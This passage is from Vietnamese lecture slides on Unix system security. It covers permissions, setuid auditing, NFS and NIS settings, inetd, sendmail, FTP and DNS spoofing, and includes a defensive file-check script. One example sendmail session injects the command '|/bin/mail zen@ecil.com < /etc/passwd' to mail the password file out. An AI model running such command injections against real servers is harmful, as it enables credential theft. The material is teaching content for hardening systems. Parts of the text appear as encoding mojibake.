Chương 12 File System Security

Đối với hệ điều hành UNIX, không có khái niệm các ổ đĩa khác nhau. Sau quá trình khởi động, toàn bộ các thư mục và tập tin được ‘gắn ‘ lên (mount) và tạo thành một hệ thống tập tin thống nhất, bắt đầu từ gốc ‘/’

pdf48 trang | Chia sẻ: lylyngoc | Lượt xem: 1942 | Lượt tải: 1download
Bạn đang xem trước 20 trang tài liệu Chương 12 File System Security, để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
File System Security HỆ THỐNG TẬP TIN CỦA UNIX Đối với hệ điều hành UNIX, không có khái niệm các ổ đĩa khác nhau. Sau quá trình khởi động, toàn bộ các thư mục và tập tin được ‘gắn ‘ lên (mount) và tạo thành một hệ thống tập tin thống nhất, bắt đầu từ gốc ‘/’ Sun Microsystems Inc. SunOS 5.6 Generic August 1997 $ df -k Filesystem kbytes used avail capacity Mounted on /dev/dsk/c0t0d0s0 192799 131990 41530 77% / /dev/dsk/c0t0d0s6 962983 477544 427661 53% /usr /proc 0 0 0 0% /proc fd 0 0 0 0% /dev/fd /dev/dsk/c0t0d0s3 289207 115445 144842 45% /var /dev/dsk/c0t0d0s5 465775 28807 390391 7% /opt /dev/dsk/c0t0d0s7 1290127 233611 1004911 19% /other /dev/dsk/c0t0d0s1 311983 203961 76824 73% /usr/openwin swap 418136 120 418016 1% /tmp /dev/dsk/c0t1d0s2 4124422 2359571 1723607 58% /squid $ SUN OS File System [citd@server citd]$ df -k Filesystem 1024-blocks Used Available Capacity Mounted on /dev/sda1 447044 45006 378948 11% / /dev/sda6 496627 119068 351909 25% /export /dev/sda5 496627 405042 65935 86% /usr /dev/sda7 492657 329963 137249 71% /var [citd@server citd]$ Linux File System /-------+ !-------/bin !-------/sbin !-------/usr-------/usr/bin ! !------/usr/sbin ! !------/usr/local ! !------/usr/doc ! !-------/etc !-------/lib !-------/var-------/var/adm !------/var/log !------/var/spool //usr /usr/home /squid / /usr /usr/home /squid CD /mnt /mnt/cdrom TƯƠNG ỨNG GIỮA DISK PARTITIONS VÀ CẤU TRÚC TẬP TIN GIỚI THIỆU CÁC THƯ MỤC QUAN TRỌNG CỦA UNIX / (THƯ MỤC GỐC ) /bin /sbin /usr/bin /usr/sbin /var /var/log /var/adm /home /export/home (SUNOS) Quyền và sở hữu tập tin và thư mục của Unix (directory and file permission and ownership) -rw-r—r— 1 fido users 163 Dec 7 14:31 myfile Kết quả của lệnh ls -l Khi moät taäp tin hay thö muïc ñöôïc taïo ra, noù mang owner vaø group cuûa ngöôøi taïo ra noù. Phaàn quyeàn daønh cho user, group, other phuï thuoäc vaøo giaù trò cuûa umask Ví dụ : [tnminh@pasteur tnminh]$ umask 002 [tnminh@pasteur tnminh]$ echo “tao mot file” > tmp [tnminh@pasteur tnminh]$ ls -l total 5472 -rw-rw-r-- 1 tnminh tnminh 13 Oct 3 21:55 tmp [tnminh@pasteur /etc]$ umask 022 [tnminh@pasteur tnminh]$ echo “tao mot file khac”>tmp1 [tnminh@pasteur tnminh]$ ls -l -rw-rw-r-- 1 tnminh tnminh 13 Oct 3 21:55 tmp -rw-r--r-- 1 tnminh tnminh 18 Oct 3 21:59 tmp1 Umask và các quyền truy nhập tập tin Dạng nhị phân của quyền truy nhập tập tin và thư mục Quyền truy nhập tập tin chia thành ba nhóm số cho chủ nhân (user), nhóm (group) và còn lại (others) read permission 4 write permission 2 Execute permission 1 Như vậy :  0 or —-: No permissions at all  4 or r—: read-only  2 or -w-: write-only (rare)  1 or —x: execute  6 or rw-: read and write  5 or r-x: read and execute  3 or -wx: write and execute (rare)  7 or rwx: read, write, and execute Thay đổi các thuộc tính của tập tin và thư mục Cách thay đổi tương đối :  chmod g+w myfile  thêm khả năng write cho group của myfile  chmod o-x myfile  bớt khả năng chạy của others của myfile Cách thay đổi tuyệt đối :  chmod 644 myfile => myfile sẽ có quyền rw-r--r-- Đối với các admin, nên dùng cách tuyệt đối vì nó an toàn hơn. Đối với các thư mục, thao tác hoàn toàn tương đương. chown cho phép đổi người sở hữu tập tin, Chgrp cho phép đổi nhóm của tập tin, setuid và setgid bits Set-user-id : Set-user-id nghĩa là khi chương trình được chạy, nó sẽ có quyền như người chủ (owner) của file cho dù người gọi chương trình là ai đi nữa. Ví dụ :  $ ls –l /usr/sbin/sendmail  rwsr-xr-x root root sendmail Tương tự, set-group-id cho quyền chương trình như group của tập tin chương trình. Bit thứ 4 mã giá trị này. 4 = setuid; 2= setgid, Nếu /bin/sh có setuid bit set thì ai cũng là root vì owner của /bin/sh là root và mọi user đều dùng /bin/sh khi login  . setgid cho thư mục = tập tin tạo ra trong thư mục này có cùng group như group của thư mục Setuid cho tập tin = không có tác dụng Sticky bit = user chỉ có quyền xóa file do mình là owner. Ví dụ /tmp Bảo mật hệ thống bằng kiểm tra setuid và setgid bits •Tìm tập tin có setuid bit set •find / -perm -4000 -exec ls -l {} \; •Tương tự cho setguid : •Tìm tập tin không user •find / -nouser -exec ls -l {} \; •Tìm tập tin viết được •find / -perm –2 -print •Tìm tập tin không sở hữa •find / -nouser -print -r-s--x--x 1 root root 10704 Apr 15 1999 /usr/bin/passwd -rws--x--x 2 root root 517916 Apr 7 1999 /usr/bin/suidperl -rws--x--x 2 root root 517916 Apr 7 1999 /usr/bin/sperl5.00503 -rwsr-sr-x 1 root mail 64468 Apr 7 1999 /usr/bin/procmail -rwsr-xr-x 1 root root 14036 Apr 16 1999 /usr/bin/rcp -rwsr-xr-x 1 root root 10516 Apr 16 1999 /usr/bin/rlogin •Chuù yù : Khoâng neân cho caùc shell script giaù trò setuid hay setgid. Neáu chuùng ta caàn setuid, setgid, vieát chöông trình baèng C hay moät ngoân ngöõ laäp trình töông ñöông. Một số tập tin "nguy hiểm". Trusted hosts •/etc/hosts.equiv : Người sử dụng từ một máy có IP trong tập tin này, có cùng account name, có thể sử dụng rlogin và rsh mà không cần vào password trên máy này. Rất may rằng root là một ngoại lệ . •.rhosts : giống như /etc/hosts.equiv, nhưng kiểm tra host-user. Đặc biệt user có thể tạo .rhosts không thông qua admin. Vì vậy, nên hoàn toàn cấm việc tạo ra .rhosts tại các thư mục cá nhân. Checksum và checklist •Lệnh sum cho phép xem xét xem tập tin có bị thay đổi về nội dung hay không. Điều này giúp chúng ta phát hiện được virus vì virus nói chung phải thay đổi nội dung của file. •Nên chạy sum tại những thư mục mà nội dung không thay đổi về nguyeèn tắc /sbin, /bin . Ghi lại kết quả vào một tập tin và sử dụng sau này để biết những tập tin có checksum thay đổi. •Checklist (thông qua lệnh ls) cho phép tìm ra những thay đổi của các tập tin hệ thống. Chúng ta, cũng như checksum, nên tạo một file checklist ngay từ đầu. Bằng cách này, chúng ta sẽ biết được các tập tin mới tạo ra không hợp pháp. Access Control List (ACL) •Đây là một chuẩn mới của Unix cho phép phân quyền hạn truy nhập vào hệ thống tập tin một cách chi tiết hơn hệ thống của Unix truyền thống. Hệ thống này cho phép ví dụ cả group ggg có quyền đọc và user uuu của group ggg này có quyền đọc và viết. •Hai lệnh cơ bản của ACL là getfacl và setfacl. •Nếu chúng ta bổ sung ACL cho một tập tin, chúng ta dùng lệnh •setfacl -m acl_entry_list filename •để biết một tập tin có sử dụng ACL, với lệnh ls -l ta có •-rw-r-----+ ..etc . Dấu + hiển thị rằng tập tin sử dụng ACL •Có thể sử dụng ACL trên SUN OS 5.6 Network File System (NFS) NFS, the Network File System has three important characteristics:  It makes sharing of files over a network possible.  It mostly works well enough.  It opens a can of security risks that are well understood by crackers, and easily exploited to get access (read, write and delete) to all your files. Treân nguyeân taéc, NFS server tin NFS client vaø ngöôïc laïi. Do ñoù, neáu NFS server hay client bò xaâm nhaäp seõ deã daøng daãn ñeán söï xaâm nhaäp vaøo toaøn boä maïng NFS. Client : apollon mount -o size=1024,wsize=1024 eris:/mn/eris/local /mnt cd /mnt ls –l Or in /etc/fstab # device mountpoint fs-type options dump fsckorder eris:/mn/eris/local /mnt nfs rsize=1024,wsize=1024 0 0 Server : eris. /etc/exports /mn/eris/local apollon(rw) NFS model NFS Client Security nosuid option : the server's root user cannot make a suid-root program on the file system, log in to the client as a normal user and then use the suid-root program to become root on the client. Remote Call Procedure (RPC)-based services - ñoái vôùi TCP, UDP protocols, port number coù 2 bytes (65536 max.) - Moãi RPC-based coù moät RPC service number duy nhaát 4 bytes (4294 Mports - portmapper ñôïi ôû coång 111 (TCP vaø UDP) - khi moät RPC based server khôûi ñoäng, noù seõ chieám moät coång TCP hay UDP port, sau ñoù thoâng baùo cho portmapper aùnh xaï giöõa soá RPC duy nhaát cuûa noù vaø coâng TCP/UDP noù vöøa nhaän. - khi moät RPC client muoán keát noái vôùi moät RPC-based server, noù “hoûi “ portmapper vaø ñöôïc bieát coång TCP ma ø RPC-based server ñang ñôïi. - Client vaø server “queân “ portmapper vaø noái tröïc tieáp vôùi nhau. - Keû xaâm nhaäp coù theå bypass portmapper NFS Server Security •root_squash option : Now, if a user with UID 0 on the client attempts to access (read, write, delete) the file system the server substitutes the UID of the servers `nobody' account. Which means that the root user on the client can't access or change files that only root on the server can access or change. Nhöng root cuûa client coù theå su thaønh bin hay adm vaø coù theå xaâm nhaäp vaøo caùc taäp tin coù owner=bin treân server. Vì vaäy, nhöõng taäp tin binaries hay taäp tin thöôøng quan troïng neân coù owner laø root. •portmapper vaø nfsd coù theå coù vaán ñeà veà security, cho pheùp thaâm nhaäp traùi pheùp vaøo Server file system. Ñeå khaéc phuïc sô hôû naøy caàn coù portmap: ALL trong taäp tin /etc/hosts.deny vaø portmap: 129.240.223.0/255.255.255.0 trong /etc/hosts.allow ñeå cho pheùp network 129.240.233.0 ñöôïc söû duïng portmapper •Neáu /etc/exports chæ coù file system maø khoâng coù host, moïi host ñeàu coù quyeàn mount file system cuûa server. Network Information Service (NIS, NIS+) SUN 1990 • NIS is a service that provides information, that has to be known throughout the network, to all machines on the network. Information likely to be distributed by NIS is: · login names/passwords/home directories (/etc/passwd) · group information (/etc/group) If, for example, your password entry is recorded in the NIS passwd database, you will be able to login on all machines on the network which have the NIS client programs running. • NIS+ is designed by Sun Microsystems Inc. as a replacement for NIS with better security and better handling of large installations. NIS security problems • Một workstation tham gia vào NIS cần phải có tập tin /etc/passwd với dòng cuối cùng như sau : • +::0:0::: • Hoặc +: Nếu ta dùng dòng một và quên dấu +, ta sẽ có một super-user không login name và không password ;-(. Vì vậy nên dùng dòng lệnh thứ hai) • Nếu /etc/hosts.equiv chỉ chứa + thì tất cả các user của tất cả các host có tên account như máy này có thể truy nhập không cần password. Chú ý một số Unix, kể cả SUN, cài hosts.equiv chỉ với một dòng như vậy ;-( #!/bin/sh # # fscheck - check file system for insecurities # # This should be run as root # PATH=/usr/bin:/bin export PATH CHECKDIRS="/bin /etc /usr/bin /usr/etc /usr/lib /usr/ucb" # ls.master is the file to create by command 'ls -alsgR $CHECKDIRS > ls.master MASTER_LS=ls.master # sum.master is the file to create by command 'find $CHECKDIRS -type f -exec echo -n {} " " \; -exec sum {} \; > sum.master MASTER_SUM=sum.master # echo"Set-User-Id files found:" find / -type f -a -perm -4000 -exec ls -aslg {} \; echo "" # echo."Set-Group-Id files found:" find / -type f -a -perm -2000 -exec ls -aslg {} \; echo "" # # echo"Device files not located in /dev :" find / \( -type b -o -type c \) -print) | grep -v '^/dev' echo "" # echo "World writable files and directories : " find / -perm -2 -exec ls -aslgd {} \; echo "" ## echo " Files owned by none xistents user or group :" find / \( -nouser -o -nogroup \) -exec ls -aslgd {} \; echo "" # # ls -alsgR $CHECKDIRS > /tmp/lschk.$$ # # find $CHECKDIRS -type f -exec echo -n {} " " \; -exec sum {} \; > /tmp/sumchk.$$ # # echo "Files in $CHECKDIRS whose attributes have changed : " echo " = current listing" diff $MASTER_LS /tmp/lschk.$$ echo "" # # echo "Files in $CHECKDIRS whose checksums have changed:" echo " = current listing" diff $MASTER_SUM /tmp/sumchk.$$ rm -f /tmp/lschk.$$ /tmp/sumchk.$$ exit 0 Bài 3 : Network Service Security • Trên đây, chúng ta đã đề cập nhiều đến bảo mật chống các xâm nhập thông qua các điểm yếu hay các lỗi cài đặt hệ thống của hệ điều hành UNIX. • Chúng ta sẽ chuyển sang xem xét các xâm nhập thông qua các dịch mà máy Unix mở ra cho mạng. Inetd và /etc/inet.conf • inetd được sử dụng để khởi động các daemon cung cấp các dịch vụ mạng. inetd đợi các nối mạng sau một số cổng. Khi có yêu cầu kết nối, inetd sẽ gọi chương trình server tương ứng để thiết lập các kết nối. • inetd sẽ đọc file /etc/inetd.conf khi được gọi lên bộ nhớ . • # • # Echo, discard, daytime, and chargen are used primarily for testing. • # To re-read this file after changes, just do a 'killall -HUP inetd' • #time stream tcp nowait root internal • #time dgram udp wait root internal • # • # These are standard services. • # • ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a • telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd Inetd và security • /etc/inet.conf có thể dùng để giải quyết một số vấn đề về bảo mật như sau : - Nếu chúng ta không muốn sử dụng dịch vụ nào, chúng ta chỉ việc đơn giản đặt dấu # trước dòng cấu hình kết nối đó. Với những máy tính đòi hỏi bảo mật cao, quy tắc chung là cấm hết tất cả các dịch vụ mà chúng ta không cần hoặc không biết.Trong trường hợp máy hoạt động không bình thường, chúng ta bỏ dần các chú thích # và như vậy chúng ta sẽ hiểu chức năng của các dịch vụ. - Các dịch vụ nên xem xét bỏ là finger, tftp, talk - Với dịch vụ đang có vấn đề về bảo mật nhưng không cắt đi được, chúng ta có thể giảm quyền của dịch vụ bằng cách thay thông tin trong trường user Email, SMTP và Sendmail • - Email là dịch vụ cơ bản và phổ biến nhất của Internet. Giao diện dùng cho kết nối Email là SMTP (Simple Mail Transfer Protocol). • - Sendmail là một SMTP server phổ biến nhất. Mặc dù sendmail đã bị nhiều "tai tiếng " về bảo mật trong lịch sử phát triển, nhưng đến hiện nay vẫn chưa có một chương trình nào có khả năng thay thế sendmail, nhất là về mặt tính năng. Nguyên nhân của các bug của sendmail là vì sendmail khá dài và phức tạp (#30.000 dòng lệnh), đồng thời khi chạy trên bộ nhớ, sendmail phải có quyền như root để thực hiện nhiệm vụ của mình. Tuy nhiên, do có nhiều người sử dụng sendmail, lỗi của sendmail sẽ được tìm ra rất nhanh chóng và được thông báo rộng rãi cho phép sửa chữa nhanh chóng. • 2 con đường thâm nhập qua Mail Server 1. Qua các lệnh mà mail server nhận từ ngoài : command channel attacks. Morris worm đã sử dụng con đường này bằng cách sử dụng lỗi debug của sendmail 2. Qua nội dung của mail : data-driven attacks. Các chương trình Mail Server đều sử dụng một chương trình mail local để gửi/nhận thư nội bộ của máy, giao diện với người sử dụng. Trên Unix, đó thường là /bin/mail. Nếu /bin/mail có bug, kẻ xâm nhập có thể bắt /bin/mail thực hiện các lệnh ghi trong body của mail. Thư điện tư ngày nay thường là Multimedia, do đó cần những chương trình ngoài để “đọc “ thư. Chương trình ngoài nào “đọc “ thư và “đọc “ như thế nào là ngoài tầm kiểm soát của các chương trình mail cổ điển. Ví dụ như một lễ giáng sinh, mạng của IBM bị tê liệt bị phải gửi một cách tự động hàng triệu mail có nhạc của lễ giáng sinh. Hãy cẩn thận với những thư với nội dung khuyên bạn đổi password sang một password mới từ admin, hay báo cho nhà băng code cá nhân của card visa của bạn. •Các điểm cần kiểm tra : •Dùng version mới. Cần kiểm tra version của sendmail vì một số version cũ có vấn đề liên quan tới bảo mật hệ thống •$ telnet pasteur.bvt.hcm 25 •220 pasteur.bvt.hcm ESMTP Sendmail 8.9.3/8.9.3; Wed, 17 Nov 1999 04:46:35 +0700 Một số chức năng wiz, debug không được có 220 pasteur.bvt.hcm ESMTP Sendmail 8.9.3/8.9.3; Wed, 17 Nov 1999 04:46:35 700 wiz 500 Command unrecognized: "wiz" Debug 500 Command unrecognized: "debug" Nếu debug set thì version sendmail của bạn cần phải thay Kiểm tra sendmail đang chạy Ví dụ một lỗi của sendmail • telnet victim.com 25 • Trying 128.128.128.1 … • Connected to victim.com • Escape character is '^]'. • 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 • Mail from : "|/bin/mail zen@ecil.com < /etc/passwd" • 250 "|/bin/mail zen@ecil.com < /etc/passwd" … sender OK • Rcpt to : nosuchuser • 550 nosuchuser … User unknow • Data • 354 Enter mail, end with "." on a line by itself • . • 250 Mail accepted • Quit • Connection closed by foreign host. • $ • File Transfer Protocol được thực hiện bởi ftp và ftpd. Cần sử dụng ftpd sau 1989 •Để bảo mật ftp cần cấu hình tốt cho anonymous FTP •tạo account ftp và * cho trường password để không login •tạo home directory cho account ftp (ví dụ /home/ftp) •thư mục này owner =ftp và không ai được ghi •chown ftp ~ftp •chmod 555 ~ftp •tạo các thư mục bin,etc, usr tùy thuộc theo yêu cầu của Unix đang sử dụng và các thư mục này đều có quyền 555 •chép tập tin passwd và group vào ~ftp/etc. Xóa tất cả các account, trừ ftp. 2 tập tin này có quyền 444 FTP ftp (2) • Chép ls vào ~ftp/bin với quyền 111 • Tạo thư mục ~ftp/pub với quyền 577, owner ftp. Anonymous connection sẽ dùng ftp account. • Hiện nay, nếuchúng ta cài đặt wu-ftp, các quyền của các thư mục này sẽ được làm tự động • Ví dụ ftp config của RedHat 6.0 • [tnminh@pateur /home]$ ls -l • total 9 • drwxr-xr-x 6 root root 1024 Mar 21 1999 ftp • drwxr-xr-x 2 root nobody 1024 Apr 16 1999 samba ftp (3) • [tnminh@pateur /home]$ ls -l ftp • total 4 • d--x--x--x 2 root root 1024 Nov 5 02:15 bin • d--x--x--x 2 root root 1024 Nov 5 02:15 etc • drwxr-xr-x 2 root root 1024 Nov 5 02:15 lib • dr-xr-sr-x 2 root ftp 1024 Mar 21 1999 pub • [tnminh@pateur /home]$ • [root@pateur etc]# more ~ftp/etc/passwd • root:*:0:0::: • bin:*:1:1::: • operator:*:11:0::: • ftp:*:14:50::: • nobody:*:99:99::: • [root@pateur etc]# ftp (4) : /etc/ftpusers • /etc/ftpusers chứa những account không dược nối vào qua ftp, ví dụ như root, bin … • Ví dụ /etc/ftpusers của Linux Redhat 6.0 • [root@pateur /tmp]# more /etc/ftpusers • root • bin • daemon • adm • lp • sync •shutdown •halt •mail •news •uucp •operator •games •nobody •[root@pateur /tmp]# •Tập tin /etc/shells chứa các shells mà các user được sử dụng như bash, sh, ash, bsh ... tftp • Do tftp không đòi hỏi password, chú ý vấn đề bảo mật với tftp. • Tftp của SUNOS trước 4.0 có lỗi cho phép get các tập tin, ngay cả của /etc. Cần thay version này. Domain Name System (DNS) • Lỗi đầu tiên của DNS là DNS server và client không kiểm tra xem trả lời mà nó có là từ các server mà nó hỏi hay từ một nguồn nào đó .Server có thể cache những thông tin sai lạc này và sử dụng khi có câu hỏi. • Ví dụ, kẻ xâm nhập có thể nói cho server IP của máy của họ chính là máy mà bạn tin tưởng (trusted) và máy của học có thể rlogin không qua password. • BIND Version 4.9 có sửa được lỗi kể trên • Trên một số OS (ví dụ SUNOS 4.x), quá trình lookup/double reverse lookup được tự động thực hiện. Tức là DNS sẽ tìm IP-> Name rồi Name -> IP và kiểm tra 2 IP xem có khớp không. Tuy nhiên phương pháp này không loại bỏ được hoàn toàn lỗi của DNS. Social Engineering attack • DNS thường cho rất nhiều thông tin về mạng nội bộ như tên máy, kiểu máy … Kẻ xâm nhập với những thông tin này có mạo nhận là kỹ thuật viên bảo hành đến yêu cầu được coi máy và có thể hỏi password • Làm sao không cho kẻ xâm nhập quá nhiều thông tin ? Có phương án làm 2 DNS server; một đặt tại trong firewall và có nhiều thông tin. DNS thứ hai nằm ngoài và chỉ có một số rất thông tin tối thiểu cho kết nối của mạng. Hai trường HINFO và TXT thường chứa nhiều thông tin hoàn toàn chỉ cho nội bộ . DNS Client Real DNS server DNS Client P A C K E T F I L T E R DNS Client Fake DNS server Internet Setup fake and real servers • Fake server là primary server server cho domain của bạn. Primary server cần phải có đủ thông tin về các máy cần nối trực tiếp ra Internet như www, ftp, news … servers. Các thông tin phải cho phép làm được double reverse